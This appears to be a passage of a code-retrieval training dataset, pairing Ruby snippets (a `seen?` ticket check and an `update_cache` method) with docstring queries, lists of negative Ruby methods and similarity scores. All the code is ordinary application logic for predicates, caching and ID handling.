def seen?(ticket, old_cache)
!old_cache.key?(ticket[:spacekey]) or
old_cache[ticket[:spacekey]] < ticket[:id]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def is_recent_acquisition?\n contexts.flag5 == 1\n end",
"def has_history?\n Ticket.client(client).any?\n end",
"def old?\n # they specifically told us via chatops that they were done, so they\n # probably don't mean this one\n return true if chat_end\n\n # the incident is still open in the external incident source, so they\n # probably mean this one\n return false if open?\n\n return true if !timeline_entries.empty? && timeline_entries.last.timestamp < 1.hour.ago\n return true if timeline_entries.empty? && chat_start? && chat_start < 1.hour.ago\n\n false\n end",
"def ever_tracked?\n !!last_tracked_at\n end",
"def previously_existed?\n true\n end",
"def seen?\n @seen\n end",
"def occurred?\n @current_state == Psc::ScheduledActivity::OCCURRED\n end",
"def has_any_pending_tickets?\r\n TicketOrder.where(user: self).requires_attention.any?\r\n end",
"def submitted_wasfa?\n !wasfa_submitted_at.nil?\n end",
"def missed?\n @current_state == Psc::ScheduledActivity::MISSED\n end",
"def recently_confirmed?\n @recently_confirmed\n end",
"def is_ticketmaster? # rubocop:disable Naming/PredicateName\n GlownetWeb.config.ticket_master_event.present? && GlownetWeb.config.ticket_master_event.eql?(id)\n end",
"def performed?\n pa = performed_at\n ! pa.nil?\n end",
"def passed_event?\n date_time < Time.now.utc\n end",
"def was_collector_previously_announced?(cluster_id)\n realm = node[:ganglia][:grid] || \"\"\n component_name = Ironfan::Component.fullname(realm, :ganglia, \"collector-#{cluster_id}\")\n r = search(:node, \"announces:#{component_name}\").any? rescue false\n Chef::Log.debug(\"Ganglia::helper::is_collector_already_announced? => #{r}\")\n r\n end",
"def pact_pending?\n pact_pending\n end",
"def push_to_epic_in_progress?\n %w(started sent_study).include? last_epic_push_status\n end",
"def fresh_visit?\n visit = current_visit\n visit && visit.updated_at + Constants::Config::VISIT_STALE_AFTER > Time.now\n end",
"def signalled?\n\t\t\t\t@signalled\n\t\t\tend",
"def settled?\n return !self.pending?\n end",
"def has_run?\n @passed != nil\n end",
"def failed? participate\n return participate.continuous_check_in == 0 || participate.updated_at.to_date != Time.now.utc.to_date\nend",
"def valid?\n @ticket.present?\n end",
"def has_pending_events?\n\t\treturn self.pending_event_count.nonzero? ? true : false\n\tend",
"def has_new?\n return true if @last_post_time.nil?\n \n Net::HTTP.start @thread_url.host, 80 do |http|\n response = http.head(@thread_url.path)\n raise Thread404dError if response.code.to_i == 404 # .to_i because net/http is retarded.\n Time.parse(response['Last-Modified']) > @last_post_time\n end\n end",
"def previously_defined?\n @previously_defined\n end",
"def already_thanked?(topic)\n notification = Notification.thanked_by(self.id, topic.id)\n !notification.empty?\n end",
"def peer_auditor_issue?\n self.auditor_result == 'Comment'\n end",
"def has_been_called?\n raise NeverHookedError unless @was_hooked\n calls.size > 0\n end",
"def has_tickets?\n (!tickets_remaining.blank?) && (tickets_remaining.to_i > 0)\n end",
"def replied_to?\n !replied_at.nil?\n end",
"def live?\n (uid && self.class.started_uids.include?(uid)) ? true : false\n end",
"def timestamping?\n !timeless\n end",
"def is_trashed?(participant)\n return false unless participant\n receipts_for(participant).trash.count != 0\n end",
"def submitted_fafsa?\n !fafsa_submitted_at.nil?\n end",
"def student_test_run_in_progress?\n buffer_time = Settings.autotest.student_test_buffer_minutes.minutes\n last_student_run = test_runs.where(role: self.accepted_students).first\n if last_student_run.nil? || # first test\n (last_student_run.created_at + buffer_time) < Time.current || # buffer time expired (for unhandled problems)\n !last_student_run.in_progress? # test results not back yet\n false\n else\n true\n end\n end",
"def pending?\n return self.settled_at.nil?\n end",
"def seen_job_with_id?(job_id)\n last_job_id >= job_id\n end",
"def recently_activated?\n return false\n @activated\n end",
"def failure_has_occurred?\r\n @failure_has_occurred = true\r\n end",
"def evented?\n actor = Thread.current[:celluloid_actor]\n actor && actor.mailbox.is_a?(Celluloid::IO::Mailbox)\n end",
"def tracked_recently?\n if ever_tracked?\n last_tracked_at > 24.hours.ago\n else\n false\n end\n end",
"def last_refreshed?\n return Time.now.utc\n end",
"def redeemed?\n self.redeemed_at?\n end",
"def tgt_expired?\n return true if @last_updated.nil? or @ticket_granting_ticket.nil?\n (@last_updated + 5) < Time.now.to_i # TGTs have an 8 hour life\n end",
"def is_problem_submitted? pid\n runs.where(pid: pid).count > 0\n end",
"def have_been_sent # rubocop:disable Naming/PredicateName\n EmailSpectacular::RSpecMatcher.new(enqueued: false)\n end",
"def recently_activated?\n @just_activated\n end",
"def pending_shop_request?\n !launched_shop? && latest_pending_shop_request\n end",
"def common_event_reserved?\r\n @common_event_id > 0\r\n end",
"def needs_new_cookie?\n @_new_cookie\n end",
"def users_first_run?\n test_file.test_runs(true) # Cache-busting\n test_file.test_runs.length == 1 && owner.test_files.select{|f| (f.id != test_file.id) && !f.test_runs.empty?}.blank? \n end",
"def has_pre_task?(event)\n @pre_tasks.include?(event.id)\n end",
"def notified? \n \titem = Item.find(item_id)\n \tif(item.expired? == true && notifiy == false)\n \t\treturn false\n \telse\n \t\treturn true\n \tend\n end",
"def just_saw\n\t\t\t@last_seen = Time.now\n\t\tend",
"def already_submitted?\n user_id = session[:drupal_user_id]\n campaign = get_campaign\n\n if user_id.nil? || campaign.nil?\n return false\n end\n\n posts = Rails.cache.fetch user_id.to_s + '-posted-on-' + campaign.id.to_s do\n Post.where(uid: user_id, campaign_id: campaign.id)\n end\n\n !posts.nil? && posts.count > 0\n end",
"def called?\n !!@called\n end",
"def admited?\n return true unless admited_on.nil?\n end",
"def is_reported?\n (report_count > 0)\n end",
"def rerequested_check?\n checks_event? &&\n decoded_payload['action'] == 'rerequested' &&\n !tag_created_check_suite?\n end",
"def is_in_progress?\n self.id == self.device.trips.last.id && self.points.last.event != Point::IGNITION_OFF && (Time.now - self.points.last.occurred_at < Device::TRIP_REPORT_CUTOFF)\n end",
"def is_in_hot_list\n if self.added_to_hot_list.nil?\n return false\n end\n\n if self.added_to_hot_list >= 4.days.ago.utc\n return true\n end\n\n return false\n end",
"def started?\n @state != :created\n end",
"def recently_activated?\n @activated\n end",
"def recently_confirmed?\n @recent_confirmation\n end",
"def coached_session_changed?\n coach_connections.any? && timeslot_changed?\n end",
"def time_added?\n self.impact == 'Added'\n end",
"def stalled?\n @stalled_fibers.any?\n end",
"def scheduled?\r\n @time != :forever\r\n end",
"def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end",
"def has_started?\n Time.now >= start_time\n end",
"def any_requested_booking_not_confirmed?\n count = 0\n index\n @requested_bookings.each do |booking|\n count += 1 if !booking.confirmed\n end\n true if count.positive?\n end",
"def next_alert_time\n false\n end",
"def common_event_reserved?\n @common_event_id > 0\n end",
"def seen\n if @ok\n @ok = @notification.has_been_seen\n end\n @new_notifications = current_user.number_notifications_not_seen\n end",
"def commitment_running?\n commitment_period > 0\n end",
"def changed_since_publication?\n return true unless on_flickr?\n\n last_updated > published_at + 1.second\n end",
"def recently_activated?\n @activated\n end",
"def stickie_seen? (name, options={})\n Stickies::Messages.seen?(session, name, options)\n end",
"def expires? \n (Time.now.to_f*1000 - Trace.active_time) > @start_time\n end",
"def has_awaiting_picked_meeting?\n !completed? && self.notifications.last.is_a?(::Users::Notifications::TradePickedMeeting)\n end",
"def retry?\n unless rt_at.nil?\n now = Time.now.utc\n if now >= rt_at\n true\n else\n false\n end\n else\n false\n end\n end",
"def recently_activated?\n @activated\n end",
"def reminded?\n !!reminded_at\n end",
"def futur?\n before > 0\n end",
"def still_valid?\n return false if self.reply_type == 'conversation'\n participation_request = ParticipationRequest.find self.participation_request_id\n\n return false if participation_request.state != 'pending'\n return false if participation_request.date < Time.current\n\n !used\n end",
"def first_issue?\n issue_number == 1 \n end",
"def leaked_request?\n !CacheUpdater.executing?\n end",
"def cas_authed?\n !session[:cas_user].blank?\n end",
"def first_time_authorized?\n self.authorized == true && self.message_sent == false\n end",
"def not_yet_open?\n opened_at > DateTime.now\n end",
"def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end",
"def called?\n @called\n end",
"def is_redeemed?\n redeemed_at?\n end",
"def dispatched?\n not dispatch_date.nil?\n end",
"def see_ball?\n \tball.notSeenLongTime() < 5\n end",
"def recently_activated?\n @activated\n end",
"def recently_activated?\n @activated\n end",
"def check\n render json: !@@thread.alive?\n end",
"def outdated?\n (Time.now - self.time_of_last_ok) > threshold_for_oldest_ok\n end"
] |
[
"0.67480403",
"0.6736863",
"0.673405",
"0.6564503",
"0.65400577",
"0.6409934",
"0.6403669",
"0.637367",
"0.63374555",
"0.63249755",
"0.631583",
"0.6275977",
"0.6214029",
"0.6204687",
"0.6184628",
"0.6165513",
"0.6160943",
"0.61553645",
"0.61475426",
"0.6134437",
"0.6123838",
"0.61158144",
"0.6108165",
"0.6091483",
"0.6081581",
"0.6077516",
"0.606963",
"0.605973",
"0.6050429",
"0.6041477",
"0.60363084",
"0.6024643",
"0.60181856",
"0.6002741",
"0.6001718",
"0.59957474",
"0.59948695",
"0.5989471",
"0.59843385",
"0.59812313",
"0.5980285",
"0.5978348",
"0.5972775",
"0.5972666",
"0.59648347",
"0.5963875",
"0.59618497",
"0.5958294",
"0.59560883",
"0.5954982",
"0.5952836",
"0.5945396",
"0.5943479",
"0.5943383",
"0.5939782",
"0.59373915",
"0.59365326",
"0.5934332",
"0.59337",
"0.59297425",
"0.59220725",
"0.59154254",
"0.59115",
"0.59042925",
"0.58960235",
"0.5893797",
"0.5888867",
"0.58884805",
"0.5888414",
"0.5887975",
"0.58856",
"0.5885172",
"0.5881299",
"0.587579",
"0.5870856",
"0.5867836",
"0.5863326",
"0.5860982",
"0.58608204",
"0.5859058",
"0.5856483",
"0.58562076",
"0.5856056",
"0.5855981",
"0.58551395",
"0.58510923",
"0.58501583",
"0.5849347",
"0.5846553",
"0.58426887",
"0.5836953",
"0.5832346",
"0.58314043",
"0.5821725",
"0.5816985",
"0.5815654",
"0.5812685",
"0.5812685",
"0.5810157",
"0.58070123"
] |
0.6519521
|
5
|
only update the cached highest ID if it is in fact the highest ID
|
def update_cache(ticket, cache)
cache[ticket[:spacekey]] = ticket[:id] if seen?(ticket, cache)
cache
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_key\n last_key = User.find_by_sql('select max(userId) as maxid from user')[0].maxid\n self.userId = last_key.to_i + 1\n end",
"def set_key\n last_key = Issue.find_by_sql('select max(issueId) as maxid from issue')[0].maxid\n self.issueId = last_key.to_i + 1\n end",
"def check_id\n unless self.id\n maximo= self.class.maximum(:id)\n id = 1 unless maximo\n id ||= maximo.to_i + 1\n self.id = id\n end\n end",
"def save_to_most_recent_list\n # potentially, really slow dupe checking\n most_recent_identity = self.class.redis_most_recent_list_identity\n unless $redis.lrange(most_recent_identity, 0, $redis.llen(most_recent_identity)).include? identity\n $redis.lpush(most_recent_identity, identity)\n end\n end",
"def next_available_id\n last_id = all_ids.map do |key|\n key.sub(\"#{self.name}_\", \"\").to_i\n end.max.to_i\n\n last_id + 1\n end",
"def assign_id(all_ids)\r\n highest_id = all_ids.max || 10 # reserve first 10 ids for testing\r\n return highest_id + 1\r\n end",
"def next_id\n self.latest_id += 1\n end",
"def assign_new_id\n self.oid ||= (self.class.unscoped.maximum(:oid) || 0 ) + 1\n end",
"def assign_user_id(users)\r\n highest_id = users.ids.max || 100 # reserve first 100 ids for testing\r\n return highest_id + 1\r\nend",
"def update_lastlyUsed(chall)\n $game_temp.lbchll_lastly_used = chall.id\n #for ch in @challenges\n # ch.lastly_used = false\n #end\n #chall.lastly_used = true\n end",
"def track_greatest_and_save!(new_value)\n update_and_save { self.last_value = [last_value || 0, new_value].max }\n end",
"def next_id\n (all.map(&:id).max || 0) + 1\n end",
"def last_id\n # hashs are ordered, so just return the latest entry\n @entries.keys.last\n end",
"def find_max_id(db, table)\r\n\t# Get list of ids\r\n\tid_array = db.execute(\"SELECT id FROM #{table}\")\r\n\t# Loop through list, checking for the highest number id\r\n\tmax_id = 0\r\n\tid_array.each do |cur_id|\r\n\t\tif cur_id[\"id\"] > max_id\r\n\t\t\tmax_id = cur_id[\"id\"]\r\n\t\tend\r\n\tend\r\n\t# Return the highest number found\r\n\treturn max_id\r\nend",
"def cache_id\n index + 1\n end",
"def track_greatest(init, new_value)\n subject.transaction do\n (lookup || create_record(init)).track_greatest_and_save!(new_value)\n end\n end",
"def next_messages_id\n messages.max{|a,b| a[:id] <=> b[:id]}[:id] + 1\nend",
"def next_id(items)\n max_id = items.map { |item| item[:id] }.max || 0\n max_id + 1\nend",
"def update_highest_role\n return unless update_highest_role?\n\n run_after_commit_or_now do\n lease_key = \"update_highest_role:#{update_highest_role_attribute}\"\n lease = Gitlab::ExclusiveLease.new(lease_key, timeout: HIGHEST_ROLE_LEASE_TIMEOUT)\n\n if lease.try_obtain\n UpdateHighestRoleWorker.perform_in(HIGHEST_ROLE_JOB_DELAY, update_highest_role_attribute)\n else\n # use same logging as ExclusiveLeaseGuard\n Gitlab::AppLogger.error('Cannot obtain an exclusive lease. There must be another instance already in execution.')\n end\n end\n end",
"def make_most_recent(el)\n el_idx = @cache.find_index(el)\n (el_idx + 1...count).each do |i|\n @cache[i - 1] = @cache[i]\n end\n @cache[count - 1] = el\n end",
"def set_new_max_tweet_id(tweets)\n new_max_id = tweets.map(&:id).max || 0 # zero in case no new records returned\n query.max_tweet_id = [query.max_tweet_id, new_max_id].max\n query.save\n end",
"def next_temp_id\n @id ||= ASSET_GROUP_TEMPORARY_ID.to_i\n @id -= 1\nend",
"def max_id(id)\n @query[:max_id] = id\n self\n end",
"def maximum_id(...)\n end",
"def _new_id\n @lock.synchronize do\n begin\n # Generate a random number. It's recommended to not store more than\n # 2**62 objects in the same store.\n id = rand(2**64)\n # Ensure that we don't have already another object with this ID.\n end while @in_memory_objects.include?(id) || @db.include?(id)\n\n id\n end\n end",
"def new_id\n @last_id ||= 0\n @last_id += 1\n end",
"def last_id(key, id = nil)\n ids = $configure[:twitter][:last_ids] || {}\n current_id = ids[key]\n # Save last id if id is passed\n ids[key] = id if id\n $configure[:twitter][:last_ids] = ids;\n current_id\nend",
"def max_event_id; $game_map.max_id; end",
"def keep_only_highest_id\n\t\tdocuments = Document.all\n\n\t\tdocuments.each do |d|\n\t\t\tfid = d.foreign_document_id\n\t\t\t# Find all with same foreign id\n\t\t\tsimilars = Document.where(:foreign_document_id => fid)\n\t\t\thighest_id = 0\n\t\t\t# Find latest record\n\t\t\tsimilars.each do |s|\n\t\t\t\tif s.id > highest_id\n\t\t\t\t\thighest_id = s.id\n\t\t\t\tend\n\t\t\tend\n\t\t\t# Delete all but latest record\n\t\t\tsimilars.each do |s|\n\t\t\t\tunless s.id == highest_id\n\t\t\t\t\ts.destroy\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def new_id\n @last_id ||= 0\n @last_id += 1\n end",
"def new_id\n @last_id ||= 0\n @last_id += 1\n end",
"def latest_version\n @latest_version ||= with_cache(file_name) { downloads.keys.max }\n end",
"def auto_update_location\n max = Post.maximum('location',\n :conditions => [\"posts.document_id = ?\", \"#{self.document.id}\"])\n if max.nil?\n self.location = Integer(10)\n else\n self.location = Integer(max) + 10\n end\n end",
"def save(movie)\n @store.transaction do\n #if movie doesn't have an id\n unless movie.id\n highest_id = @store.roots.max || 0 #find the highest id\n movie.id = highest_id + 1 #and increment it\n end\n @store[movie.id] = movie \n end\n end",
"def hide_id\n self.hashed_id = (((self.id * PRIME) & MAXID) ^ RNDXOR).to_s(16)\n self.save\n end",
"def next_list_id(lists)\n max = lists.map { |list| list[:id] }.max || 0\n max + 1\nend",
"def add_post_to_newest_list\n $redis.lpush(\"newest_post_ids\", id)\n $redis.ltrim(\"newest_post_ids\", 0, 99)\n RedisWorker.perform_async(id)\n end",
"def new_id\n dbm = self.class.dbm\n\n max = dbm.keys.map { |k| k.to_i }.max || 0\n id = max + 1\n\n dbm[id.to_s] ||= \"\"\n\n id.to_s\n end",
"def cull_old_ids\n saved_ids = @ids.keys.reverse.take(@max_ids)\n @ids.select! do |k, v|\n saved_ids.include? k\n end\n end",
"def update_with_limit(value)\n return unless exists?\n\n value = count - 5 if count - value > 5\n redis.set(key, value)\n end",
"def _next_id\n @@id -= 1\n @@id\n end",
"def generate_guid\n list = load_data\n\n max = list.max_by{|hash| hash[:guid]}\n max ? max[:guid].next : '1'\nend",
"def update_last_seen\n m = conversation.conversation_members.where(user_id: sender_id).take\n m.update_column(:last_seen, Time.current) if m\n conversation.conversation_members.where.not(user_id: sender_id).pluck(:user_id).each do |_id| # update total unread cache for all members\n Rails.cache.delete(\"user-unread_messages_count-#{_id}\")\n end\n end",
"def check_for_largest\n\t\tif @@largest.nil? || @sqft > @@largest.sqft\n\t\t\t@@largest = self\n\t\tend\n\tend",
"def fetch_latest\n page = page_with_latest_entries\n most_recent_new_entry = page.entries.first\n last_fetched_entry = @entry_cache.latest\n last_fetched_entry_seen = false \n next_entry = nil\n while !last_fetched_entry_seen && page\n page.entries.each do |entry|\n \n @entry_cache.write(entry, next_entry)\n if last_fetched_entry && entry.entry_id == last_fetched_entry.entry_id\n last_fetched_entry_seen = true\n break\n end\n\n next_entry = entry\n end\n page = page.next\n end\n \n @entry_cache.update_current_state(next_entry, most_recent_new_entry)\n @entry_cache.entries(next_entry, most_recent_new_entry)\n end",
"def find_last_updated_mir\n @max_updated_at = @swimmer.meeting_individual_results.exists? ? @swimmer.meeting_individual_results.sort_by_updated_at('DESC').first.updated_at : 0\n end",
"def get_next_id\n id = 0\n contacts = read_contacts\n contacts.each do |contact|\n if id < contact[:id]\n id = contact[:id]\n end\n end\n id + 1\nend",
"def gemd_by_count\n Recommendable.redis.scard(Recommendable::Helpers::RedisKeyMapper.gemd_by_set_for(self.class, id))\n end",
"def update\n\t\treturn 0 if @setup.secure or @setup['no_cache']\n\t\tdb = DispRef2PStore.new( @setup['cache_path'] )\n\t\tr = 0\n\t\tdb.transaction do\n\t\t\tdb[Root_DispRef2URL] = Hash.new unless db[Root_DispRef2URL]\n\t\t\tbegin\n\t\t\t\tdb[Root_DispRef2URL].each_key do |url|\n\t\t\t\t\tref = DispRef2URL::new( url )\n\t\t\t\t\tt = ref.restore( db )\n\t\t\t\t\torig = t ? t.dup : nil\n\t\t\t\t\tnew = ref.parse( @setup )\n\t\t\t\t\tif orig != new then\n\t\t\t\t\t\tr += 1\n\t\t\t\t\t\tref.store( db )\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\trescue PStore::Error\n\t\t\tend\n\t\tend\n\t\tdb = nil\n\t\tr\n\tend",
"def save\n if id.nil? || (@@counter == 0)\n @id = @@counter\n @@counter += 1\n end\n @@all[@id] = self\n end",
"def check_new_max(product)\n if product > @max\n @max = product\n end \nend",
"def get_next_game_id\n log_everything(\"Get next game id\")\n # get current registered game id\n retrieved_game_id_number = craft_firebase_command(\"minesweeper/game_id.json\").to_i\n game_id = retrieved_game_id_number + 1\n\n # update game id (increment by 1)\n craft_firebase_command(\"minesweeper/game_id.json\", \"PUT\", game_id)\n\n # return current game id\n game_id\nend",
"def set_id_in_frame!\n last_in_frame = Order.where( \"orders.frame_id = ? AND orders.id_in_frame IS NOT NULL\", frame.id )\n .order( \"orders.id_in_frame DESC\" )\n .first\n \n if last_in_frame\n self.id_in_frame = last_in_frame.id_in_frame + 1\n save\n else\n self.id_in_frame = 1001\n save\n end\n end",
"def downvote(id)\n @redis.hincrby(\"id:\"+id,\"score\",-1)\n end",
"def next_id\n @imutex.synchronize do\n @mid += 1\n end\n end",
"def generate_id\n id = @ids.first[:count]\n @ids.where(:id => 1).update(:count => id + 1)\n id\n end",
"def update!(**args)\n @max_entries = args[:max_entries] if args.key?(:max_entries)\n end",
"def next_message_id\n if max_message_id = redis.get('max_message_id')\n next_id = max_message_id.to_i + 1\n else\n next_id = 1\n end\n\n redis.set('max_message_id', next_id)\n next_id\n end",
"def last\n last_mgmt_query ||= MgmtQuery.find_by_device_id( device_id.to_i, :conditions => [\"id < ?\", id], :order => \"timestamp_server DESC\", :limit => 2) unless device_id.blank? || device_id.to_i.zero?\n end",
"def update_cache\n\t\tself.species_count = self.species.count(:conditions => ['species.change_id IS NULL'])\n\t\tself.save!\n\tend",
"def set_retrieval_key\n base = rand(KEY_POOL_SIZE)\n first_digit = (base / (KEY_POOL_SIZE / 10)).to_i\n remainder = base % (KEY_POOL_SIZE / 10)\n\n self.retrieval_key = first_digit.to_s + rand(1000000000).to_s(36)\n if self.class.find_by_retrieval_key(retrieval_key)\n # that one is already used - go get another\n set_retrieval_key\n end\n end",
"def update_last_keychain_id(new_value=nil)\n if self.test_mode\n new_value ? self.test_last_keychain_id = new_value : self.test_last_keychain_id += 1\n else\n new_value ? self.last_keychain_id = new_value : self.last_keychain_id += 1\n end\n end",
"def before_create \n self.ver = 0\n # set the order value, 1 if first rec or 1+ max\n #SELECT max(\"order\") FROM list_items WHERE list_id = self.list_id\n o = ListItem.maximum('\"order\"', :conditions=>['list_id = ?', self.list_id])\n self.order = o ? o.to_i+1 : 1\n end",
"def max_identities(max)\n @max_identities = max.to_i\n self\n end",
"def update_os_process_counter_cache\n self.os_process_count.upto(self.os_processes.size - 1) do\n Fingerprint.increment_counter(:os_process_count, self.id)\n end\n end",
"def max \n @list.reduce(0){ |memo,v| (v>memo ? v : memo) }\n end",
"def reveal_id\n ((self.hashed_id.to_i(16) ^ RNDXOR) * PRIME_INVERSE) & MAXID\n end",
"def index\n @tweets = Tweet.all\n @last_tweet = @tweets.max_by{ |x| x.id}\n\n #100.times {\n # @tweets = Tweet.find(:all, :conditions => [ \"id > ?\", \"#{@last_tweet.id}\" ]) \n # @last_tweet = @tweets.max_by{ |x| x.id}\n #}\n end",
"def update_cache\n\t\tself.family_count = self.families.count\n\t\tself.save!\n\tend",
"def update_last_processed_block_number\n SaleGlobalVariable.last_block_processed.update_all(variable_data: @current_block_number.to_s)\n @last_processed_block_number = @current_block_number\n end",
"def max(items)\n#(was not sure if instructions meant the method.max. this is my solution only restricting the method: max)\n max = items.sort.last\nend",
"def last\n order(:id).reverse.limit(1)\n end",
"def update_tally(guid)\n session[:tally][guid] ? session[:tally][guid] += 1 : session[:tally][guid] = 1 \nend",
"def get_max_key()\n \n end",
"def replace_max(value, priority=value, subpriority=nil)\n subpriority ||= @totalcount\n @totalcount += 1\n loc = find_max_locator\n loc.update(value, priority, subpriority)\n loc\n end",
"def set_MaxID(value)\n set_input(\"MaxID\", value)\n end",
"def set_MaxID(value)\n set_input(\"MaxID\", value)\n end",
"def maximum_id(id_key: nil)\n record_class.maximum(id_key || id_column)&.to_i\n end",
"def cache_key(id); end",
"def largest_hash_key(hash)\n current_highest_id = \"\"\n current_highest = 0\n hash.each do |k,v|\n if v > current_highest\n current_highest = v\n current_highest_id = k\n end\n end\n current_highest_id\n end",
"def max\n max = @storage[0]\n @size.times do |i|\n if @storage[i] > max\n max = @storage[i]\n end\n\n end\n return max\n end",
"def update_score(user_id, score = 0)\n key = \"user_score:#{user_id}\"\n user_score = $redis.get(key)\n last_user_answered = user_id\n if user_score.nil?\n $redis.set(key, score)\n score\n else\n new_score = user_score.to_i + score\n $redis.set(key, new_score)\n new_score\n end\nend",
"def set_first\n return 0 if @first_item.nil?\n first = 0\n (0..item_max - 1).each { |i|\n first = i if @data[i].id == @first_item\n }\n @index = first\n end",
"def update_priority\n Share.order(:priority).each.with_index(0) do |share, index|\n share.update_column :priority, index\n end\n end",
"def update (args)\n p 'updating ...'\n if self.rarray.get(args[:id]) \n key = args[:id] - 1\n @rarray[key].merge!(args)\n else\n raise ArgumentError, 'Cannot update - id not found', caller\n end\n self.store\n end",
"def generate_generation_id_(seckey)\n # NOTE: Do hsetnx with '-1' to detect weather the seckey is already set\n if @redis.hsetnx @url, seckey, '-1'\n max_genid = @redis.hincrby @url, 'max-genid', 1\n @redis.hset @url, seckey, max_genid.to_s\n return max_genid.to_s\n else\n return @redis.hget @url, seckey\n end\n end",
"def latest_block\n hash = db.best_hash\n return nil unless hash\n find_entry_by_hash(hash)\n end",
"def update_cache\n if $redis.set(\"#{self.class.table_name}/#{self.id}\", self.to_json) == \"OK\"\n true\n else\n false\n end\n end",
"def update(sp, f)\n @buffer.each do |line|\n if line[0] == 0\n # set LRU to max\n line[0] = 3\n line[1] = sp\n line[2] = f\n else\n # decrement LRU for other fields\n line[0] -= 1\n end\n end\n end",
"def next_auto_ref\n count = -1\n User.transaction do\n self.lock!\n count = self.image_ref_count + 1\n # for some reason update_attributes doesn't appear to work here\n self.image_ref_count = count\n self.save!\n end\n count\n end",
"def last_id()\n #This is a stub, used for indexing\n end",
"def update_last_food_id(food_id)\n response = Backendless.update(@id, @token, 'food_id', food_id)\n true if response\n end",
"def auto_update_name\n if name.nil? or name.blank?\n max = Post.maximum('id') || 0\n max = max + 1\n self.name = max.to_s\n end\n end",
"def last_seen_uid\n self.messages.order_by(:uid => :desc).limit(1).first.try(:uid) || 1\n end",
"def update\n return if count_delta.zero?\n model.update_counters(id, field => count_delta)\n end",
"def update_if_necessary\n # we should have a counter stat already if it got to this class\n # only update stats if it's after the date of the last updated date for record\n return unless new_record? || updated_at.nil? || Time.new.localtime.to_date > updated_at.localtime.to_date\n update_usage!\n update_citation_count!\n\n self.updated_at = Time.new # seem to need this for some reason\n\n save!\n end",
"def increment_and_save!\n update_and_save { self.last_value = (last_value || 0) + 1 }\n end",
"def last\n asc(:id).last\n end",
"def filter_by_id( id )\n\t\tif @cache_for_id.include?( id )\n\t\t\tyield( @cache[@cache_for_id[ id ]] )\n\t\t\t@updated = true\n\t\telse\n\t\t\tret = Array.new()\n\t\t\t@cache_for_id.each_pair do |k,v|\n\t\t\t\tif k.index( id ) == 0\n\t\t\t\t\tyield( @cache[ v ] )\n\t\t\t\t\t@updated = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tsave\n\tend",
"def update_cache\n if self.yes?\n Song.increment_counter(:yes_count, song.id)\n else\n Song.increment_counter(:no_count, song.id)\n end\n end",
"def collect_with_max_id(collection=[], max_id=nil, &block)\n response = yield(max_id)\n collection += response\n response.empty? ? collection.flatten : collect_with_max_id(collection, response.last.id - 1, &block)\nend"
] |
[
"0.6537332",
"0.6504027",
"0.6429609",
"0.6163954",
"0.6021805",
"0.6020452",
"0.6018281",
"0.59736353",
"0.5902077",
"0.58867997",
"0.58355767",
"0.5814599",
"0.5781771",
"0.57282966",
"0.5722804",
"0.5676779",
"0.5662845",
"0.5652453",
"0.5649362",
"0.5625645",
"0.5610484",
"0.5606067",
"0.5590291",
"0.5573888",
"0.55676997",
"0.55555755",
"0.55457515",
"0.55151385",
"0.55112714",
"0.55092055",
"0.55092055",
"0.54775834",
"0.5442116",
"0.5416033",
"0.53936595",
"0.539276",
"0.5390886",
"0.5366811",
"0.5363008",
"0.53447986",
"0.534245",
"0.5340092",
"0.5335843",
"0.53345466",
"0.53322875",
"0.53223187",
"0.53100735",
"0.52995926",
"0.5297019",
"0.5289181",
"0.528751",
"0.5287094",
"0.5276816",
"0.5276764",
"0.5272917",
"0.5258107",
"0.52555317",
"0.52553946",
"0.52496916",
"0.5237904",
"0.5234699",
"0.52341694",
"0.5233927",
"0.52295953",
"0.521757",
"0.5199965",
"0.51993346",
"0.51973104",
"0.51945955",
"0.5191244",
"0.5185672",
"0.51715285",
"0.51677686",
"0.5161525",
"0.51604927",
"0.51603776",
"0.5159722",
"0.51498204",
"0.51463604",
"0.5143612",
"0.514187",
"0.514184",
"0.51378554",
"0.5133865",
"0.5133308",
"0.5129369",
"0.51256806",
"0.51207656",
"0.5119436",
"0.511251",
"0.5109794",
"0.5109106",
"0.5107116",
"0.50999486",
"0.5096895",
"0.5095134",
"0.5092931",
"0.5084992",
"0.5083906",
"0.50806445",
"0.5070719"
] |
0.0
|
-1
|
write the cache to disk
|
def flush_cache(cache)
cache[:last_checked] = @last_checked
File.open(@data_file, 'w') do |out|
YAML.dump(cache, out)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_cache\n data = cache_data\n open(writable_file, \"wb\") do |f|\n\tf.puts Marshal.dump(data)\n end\n end",
"def write_cache_file\n open(@cache_file, 'w') do |f|\n f.puts({ \n :userid => @userid,\n :token => @token,\n :account_info => @account_info,\n :remote_folders => @remote_folders,\n :remote_contexts => @remote_contexts,\n :last_sync => Time.now.to_i ,\n }.to_yaml)\n end\n end",
"def write_cache\n File.write(CACHE_PATH, @data.to_json)\n end",
"def write_cache_file()\n @logger.debug @cache.inspect\n File.open(options[:cache_file], \"w\") {|f| f.write(@cache.to_yaml)}\n end",
"def write\n File.write(cache_file, @cache_log.to_json)\n end",
"def write\n return unless Dir.exist?(File.dirname(cache_file))\n @cache[\"version\"] = VERSION\n File.open(cache_file, \"w\") do |fh|\n fh.puts(JSON.dump(@cache))\n end\n end",
"def save\n File.binwrite(file, JSON.pretty_generate(@cache))\n end",
"def write\n return false unless @path\n\n clean!\n\n @path.open('w') do |file|\n file.puts YAML.dump(@cache)\n end\n\n true\n end",
"def write_cache!(session)\n FileUtils.mkdir_p(Config.cache_path)\n File.open(cached_file, \"w\") do |cache_file|\n cache_file.write(session.serialize)\n end\n end",
"def save\n cache_json = JSON.generate @_cache\n File.open(@file_path, 'w') { |file| file.write(cache_json) }\n end",
"def write_cache(cache, path)\n if @use_cache then\n File.open path, \"wb\" do |cache_file|\n Marshal.dump cache, cache_file\n end\n end\n\n cache\n rescue Errno::EISDIR # HACK toplevel, replace with main\n cache\n end",
